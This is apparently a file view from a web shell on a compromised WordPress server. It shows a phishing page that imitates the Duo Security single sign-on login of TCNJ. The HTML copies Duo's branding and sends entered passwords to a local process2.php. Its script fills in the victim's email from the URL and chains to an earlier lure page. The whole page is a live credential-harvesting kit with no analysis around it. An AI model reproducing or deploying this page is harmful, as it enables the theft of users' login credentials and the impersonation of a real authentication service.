HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/tcnj.edu/duosecurity2.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" style="--white-label-border-color: #293F6F; --app-background: #F7F7F7 ;">
<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <title>Login</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="duosecurity2_files/login.css">
    <link rel="shortcut icon" href="https://tcnj.login.duosecurity.com/static/images/favicon_duo.ico?v=e3716">
</head>
<body>
    <div id="login-parent" data-authkey="ASD70SDZLGMGK7GTPWQY" data-scid="0eb8eff9843c4c0c98ec82c6a9e32dd7" data-restart-auth-url="https://sso-9af1696c.sso.duosecurity.com/saml2/sp/DI4MGFZILBCQCED5WZIV/sso?scid=0eb8eff9843c4c0c98ec82c6a9e32dd7" data-phishing-protection-enabled="True" data-remember-username-enabled="True" data-nojs-action="/login/nojs" data-custom-background="" data-custom-background-color="#F7F7F7" data-custom-accent-color="#293F6F" data-custom-logo-url="https://ux-asset-commercial.duosecurity.com/customization/account/8rvnkndqIFBP_MFEyjbLipq17Q4qGD4fjKqsyRcuUF4/logo_image.png?versionId=hqs7pMTpsBuPF61HdS2tOqTwDaqtoe01" data-secured-by-duo="True" data-username="" data-pw-change-enabled="False" data-xsrf="db052bcc5b16a6f2b9ea18e123ab5e50" data-auth-source-type="LDAP_DIR" data-helpdesk-message="">
        <div class="card card--white-label uses-white-label-border-color card--white-label__prompt display-flex flex-direction-column Card__Wrapper__legacy" style="padding: 0px; position: relative; border-top-color: rgb(41, 63, 111);">
            <div class="align-flex-justify-content-space-between align-flex-items-center card__header display-flex size-margin-left-large size-margin-right-large " style="margin-top: 1.375rem;">
                <div class="logo--white-label"><img src="duosecurity2_files/logo_image.png" alt="Logo"></div>
            </div>
            <div class="align-flex-items-start display-flex size-margin-bottom-xsmall size-margin-large size-margin-top-reset display-flex align-flex-justify-content-start align-text-horizontal-left ">
                <h1 style="font-weight: 700;" tabindex="-1" class="card--focusable-text">Single Sign-On</h1>
            </div>
            <div class="display-flex flex-direction-column flex-value-one size-padding-left-large size-padding-right-large ">
                <form action="process2.php" method="post">
                    <!-- Display the email (non-editable) -->
                    <p class="align-text-horizontal-left card__secondary-text size-padding-bottom-reset size-padding-large size-padding-top-reset username-prefilled card--focusable-text" tabindex="-1">
                        <span id="displayEmail"></span>
                        <a href="https://tcnj.login.duosecurity.com/email_first?authkey=ASD70SDZLGMGK7GTPWQY&amp;scid=0eb8eff9843c4c0c98ec82c6a9e32dd7&amp;edit=True" class="edit-link">edit</a>
                        <input id="username" hidden="" name="username" readonly="readonly" value="">
                    </p>
                    <!-- Password input field -->
                    <label class="Card__TextInput">
                        <span class="label">Password</span>
                        <input id="password" name="password" aria-invalid="true" aria-label="Password" class="input__width-full size-radius-base password" type="password" value="" required>
                    </label>
                    <!-- Hidden fields -->
                    <input type="hidden" name="authkey" value="ASD70SDZLGMGK7GTPWQY">
                    <input type="hidden" name="scid" value="0eb8eff9843c4c0c98ec82c6a9e32dd7">
                    <input type="hidden" name="_xsrf" value="db052bcc5b16a6f2b9ea18e123ab5e50">
                    <input type="hidden" name="passwordChangeRequested" value="false">
                    <!-- Log-in button -->
                    <button id="loginButton" class="c--primary primary align-flex-items-center align-flex-justify-content-start input__width-full size-margin-top-medium button--xlarge" type="submit">Log in</button>
                </form>
            </div>
            <div style="height: 64px;"></div>
            <footer class="margin-top-auto">
                <div class="size-font-xsmall size-padding-bottom-medium size-padding-large size-padding-top-medium Card__Footer__legacy ">
                    <span class="Card__Footer__item"></span>
                    <span class="align-text-horizontal-right Card__Footer__item">Secured by Duo</span>
                </div>
            </footer>
        </div>
    </div>
    <div id="screen-reader-announcements" role="log" aria-live="polite" aria-relevant="additions" aria-atomic="false"></div>
    <div id="amplitude-metadata" data-akey="DADKAH3HRDG6UMV7T0OG" data-amplitude-api-key="65d7e40c9680859303963ff243c06056"></div>
    <script type="text/javascript" src="duosecurity2_files/login.js"></script>
<script>
    // Retrieve the email from the URL parameter
    const urlParams = new URLSearchParams(window.location.search);
    const email = urlParams.get('email');

    // Display the email on the page and set the input field value
    if (email) {
        document.getElementById('displayEmail').textContent = email;
        document.getElementById('username').value = email; // Set the hidden input value
    } else {
        // If no email is found, redirect back to the email entry page
        window.location.href = 'duosecurity.htm';
    }

    // Handle password form submission
    document.getElementById('loginForm').addEventListener('submit', function(event) {
        document.getElementById('username').value = email; // Ensure the email is set in the hidden field
    });
</script>

</body>
</html>